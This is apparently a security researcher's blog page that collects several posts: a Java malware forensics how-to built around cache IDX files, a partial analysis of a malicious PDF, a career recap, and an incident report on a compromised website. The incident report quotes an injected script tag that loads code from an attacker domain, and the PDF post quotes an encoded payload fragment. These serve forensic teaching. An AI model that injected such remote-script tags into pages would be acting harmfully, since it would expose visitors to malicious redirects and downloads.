Last Updated on Thursday, 28 February 2013 14:23 Written by Brian Baskin Saturday, 12 January 2013 22:23

DIY Java Malware Analysis

Parts Required: AndroChef ($) or JD-GUI (free), My Java IDX Parser (in Python), Malware Samples

Skill Level: Beginner to Intermediate

Time Required: Beginner (90 minutes), Intermediate (45 minutes), Advanced (15 minutes)

Java has once again been thrown into the limelight with another insurgence of Java-based drive-by malware attacks reminiscent of the large-scale BlackHole exploit kits seen in early 2012. Through our cmdLabs commercial incident response and forensics team at Newberry Group, I've had the opportunity to perform numerous investigations into data breaches and financial losses due to such malware being installed.

Based on my own experience in Java-related infections, and seeing some very lackluster reports produced by others, I've decided to write a simple How-To blog post on basic Java malware analysis from a forensic standpoint. Everyone has their own process, this is basically mine, and it takes the approach of examining the initial downloaded files, seen as Java cached JAR and IDX files, examining the first-stage Java malware to determine its capabilities, and then looking for the second-stage infection.

Java Cached Files

One critical step in any Java infection is to check for files within the Java cache folder. This folder stores a copy of each and every Java applet (JAR) downloaded as well as a metadata file, the IDX file, that denotes when the file was downloaded and from where. These files are stored in the following standard locations:

• Windows XP: %AppData%\Sun\Java\Deployment\Cache
• Windows Vista/7/8: %AppData%\LocalLow\Sun\Java\Deployment\Cache

Java IDX Files

In my many investigations, I've always relied upon the Java IDX files to backup my assertions and provide critical indicators for the analysis. While I may know from the browser history that the user was browsing to a malicious landing page on XYZ.com, it doesn't mean that the malware came from the same site. And, as Java malware is downloaded by a Java applet, there will likely be no corresponding history for the download in any web browser logs. Instead, we look to the IDX files to provide us this information.

The Java IDX file is a binary-structured file, but one that is reasonably readable with a basic text editor. Nearly all of my analysis is from simply opening this file in Notepad++ and mentally parsing out the results. For an example of this in action, I would recommend Corey Harrell's excellent blog post: "(Almost) Cooked Up Some Java". This textual data is of great interest to an examiner, as it notes when the file was downloaded from the remote site, what URL the file originated from, and what IP address the domain name resolved to at the time of the download.

I was always able to retrieve the basic text information from the file, but the large blocks of binary data always bugged me. What data was I missing? Were there any other critical indicators in the file left undiscovered?

Java IDX Parser

At the time, no one had written a parser for the IDX file. Harrell's blog post above provided the basic text structure of the file for visual analysis, and a search led me to a Perl-based tool written by Sploit that parsed the IDX for indicators to output into a forensic timeline file at: Java Forensics using TLN Timelines. However, none delved into the binary analysis. Facing a new lifestyle change, and a drastic home move, I found myself with a lot of extra time on my hands for January/February so I decided to sit down and unravel this file. I made my mark by writing my initial IDX file parser, which only carved the known text-based data, and placed it up on Github to judge interest. At the time I wrote my parser, there were no other parsers on the market.

Last Updated on Monday, 23 April 2012 01:35 Written by Brian Baskin Wednesday, 08 February 2012 19:56

I normally don't find the time to analyze malware at home, unless it is somehow targeted towards me (like the prior write-up of an infection on this site). This last week I received a very suspicious PDF in an email that made it through GMail's spam filters and grabbed my attention.

The email was received to my Google Mail account and appeared in my inbox. It was easily accessible, but within two days Google did alert on the virus in the attachment and prevented downloading it.

The email had one attachment, which could still be obtained as Base64 when viewing the email in its raw form: 92247.pdf.

A quick view in a hex editor showed that the file, only 13,205 bytes in size, included no obvious dropper, decoy, or even displayable PDF data. There was just one object of note, that contained an XML subform with embedded JavaScript. Boring...

Upon examining the JavaScript, I saw a large block of data that would normally contain the shell code, or even further JavaScript, to attack the victimized system. However, this example proved odd. There was a large block of such data (abbreviated below), but it contained all integer numbers that were between 0 and 74. This is not standard shell code.

arr='0@1@2@3@4@1@5@5@6@7@8@9@0@1@2@3@10@10@10@11@3@12@12@12@11@3@5@5@5@11@9';

So I started looking at the surrounding code.

Last Updated on Sunday, 29 January 2012 16:29 Written by Brian Baskin Sunday, 01 January 2012 13:35

It's been quite a few months since my last post, but this has definitely been a hectic and busy year. It's mostly due to that schedule that I've been unable to post anything interesting since... April. Wow.

When 2011 started I was just a few months into my new job with cmdLabs, a truly life-changing event. I still enjoy my time with Eoghan, Chris, and Terry and incredibly love what I do.  It was only about a year ago when I felt completely helpless, bored, and unchallenged with my old employer. The technical challenges weren't coming, and I spent most of my time performing management tasks where the largest difficulties were to organize large spreadsheets, though I did volunteer for the job so I don't have too much of a right to complain. I sought out every opportunity with the outside to keep my feet grounded in technical work.  With my continuing time at cmdLabs, that's changed dramatically. Each case was a fun and intricate challenge, and I was surrounded by the best to bounce ideas off of on a regular basis.

While working with cmdLabs the opportunity was open to provide forensic support to the Defense Computer Forensics Laboratory (DCFL). It took quite a few months for that to take place, but I finally joined the ranks there in early September. DCFL is a part of DC3 (Defense Cyber Crime Center), where I've been since 2000. However, I was always in the training side and not in the lab, and now the veil has been opened.

I took a spot in the Intrusions and Information Assurance division (I2A) as an intrusion analyst.  It is no surprise that this is some of the most completely challenging and complex work I've ever done. I think back to the joy of performing penetration testing on servers and the rush of "popping a box", and realized that it doesn't compare with rewriting a large mathematical algorithm full of bitwise math to decode a new encoding method used to mask the exfiltration of data. 

However, the first rule of defense work is that you don't talk about defense work. My social interactions have diminished greatly, mostly due to not having access to personal electronics or regular websites during working hours. As someone who loves to code new projects and release code and processes, I've had to place much of my personal commentary under self-scrutiny. And, when in doubt, bite my tongue and move on.

During the year I was roped into joining the General Dynamics - AIS (GD-AIS) team on the Maryland Cyber Challenge (MDC3 - no relation to DC3). This was a three-round contest that focused on blue-team, red-team, and forensics. For the blue-team exercise our team of six broke into two teams of three to focus on securing a Linux and Windows server, with myself on the Linux team. We passed that round and went into the Forensics round, which unfortunately occurred the same weekend I was at Derbycon - two hours after my talk, in fact. The staff at Derbycon kindly let me setup in the press room to work on the challenge remotely. Being remote on my Mac limited my abilities, but the challenge had a fair number of encoding and encryption challenges that I was able to break, and we passed the round. The final round was live at the Baltimore Conference Center, and was a bit of a shock. Up until 24 hours before the challenge we were told it was a full Capture the Flag with blue and red teaming. The day before we learned that it was full red-team, so we had to quickly adjust and retrain our team. We were easily outskilled by other competitors, but we placed decently.

For 2011 I stuck myself out there, much to the complaint of my introverted self. When the CFP for Defcon was about to wrap up, I decided to put together a talk called "Walking the Green Mile: How to Get Fired From Your Job After a Security Incident". A silly title, but I really suck at naming talks. The talk was about my increasing frustration in how many security practitioners were not doing their jobs right before, during, and after a security incident. As someone who has worked for years with many companies to respond to a security incident (including insiders, inrusions, and malware), I kept running into the same mistakes being made over and over. The talk was surmising those mistakes in a way for others to learn to stop making them.

I first submitted the talk to Defcon, then Security BSides Vegas. I was declined for Defcon, which I expected, and was ecstatic at being selected for BSides. I was already volunteering to work on the security team there, so was already "in", but being able to speak was the icing on the cake. I also gave the talk at Defcon Skytalks, an unrecorded, off the record room at Defcon.

"That wasn't so bad", I told myself. So, I submitted for Derbycon and was surprised to be accepted there as well. Derbycon was a first year conference that was perfectly orchestrated. It was also, in my opinion, the best rendition of my talk that I had given; maybe because I didn't realize that I was being recorded until afterward.  

 I then finished up my speaking circuit at the local BSides Delaware, which went pretty great.  But, it was after this event that I just grew tired of speaking. Too many talks in the year than what I was accustomed to. And, for me, every time I get on podium I'm anxiously awaiting someone to stand up, scream out, or do something to show how wrong I am and how I shouldn't be up talking. Then afterward, I crash from the stress and am usually mentally exhausted for hours.  So, likely no voluntary conference talks for me in 2012.

However, that won't be so easy to escape. I start off 2012 at the DoD Cyber Crime Conference. There I will be "teaching" two pre-conference training courses. I was originally billed to teach the Carrier File Analysis course (malware analysis of PDF, CHM, compound documents, SWF, etc). Staffing issues meant that I now am doing half-teaching of that course and the Introduction to Malware Analysis, which occurs simultaneously. So it looks like I'll be running back and forth between the two sold-out classes for four days.  While there I will also be giving my Intelligence Gathering Over Twitter talk for the second year. It will be an update from last year, on tools and methods to obtain information about a target on Twitter and their associations. Group analysis, friend analysis, metadata, and metasites (twitpic, etc).  After that, I'll be done for 2012 :)

I will still be trying to volunteer for BSides events for Vegas and Delaware, and planning on attending Shmocon, Defcon, BSides Vegas, Derbycon, and BSides Delaware. I'm going to make a push to finally attend RECon this year. But, being on-site full-time makes taking time off difficult, so I have to carefully pick and choose my cons.

Looking forward to new challenges in the upcoming year. Life is definitely more of a roller coaster ride now! 

Last Updated on Tuesday, 17 May 2011 15:09 Written by Brian Baskin Thursday, 07 April 2011 17:52

Due to the very nature that this is a website on the Internet means that eventually it would be susceptible to an attack. Wordpress and blog sites are notoriously targeted with infections that append code to HTML files that point them to malicious or advertisement websites. My website was similarly affected last month. Here is how the issue was identified and rectified in just a few minutes after notification.

Notification came by way of Twitter when a friend notified me that my site was redirecting to somewhere else.  I was sitting at my desk and quickly opened it to verify.  Sure enough, it was:

I SSH'd into the system and immediately changed the password. I then started looking for the culprit. The main file that was causing the redirection was named 'books.htm' and was in my web root folder. This was a simple HTML page that just lists the book projects I've worked on. 

The first thing I did was manually view the file to see the impact. There was an added line of code to the very beginning of the file: 

<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>\n

 With the infection spotted, I checked the file's MAC times to see when the attack occurred: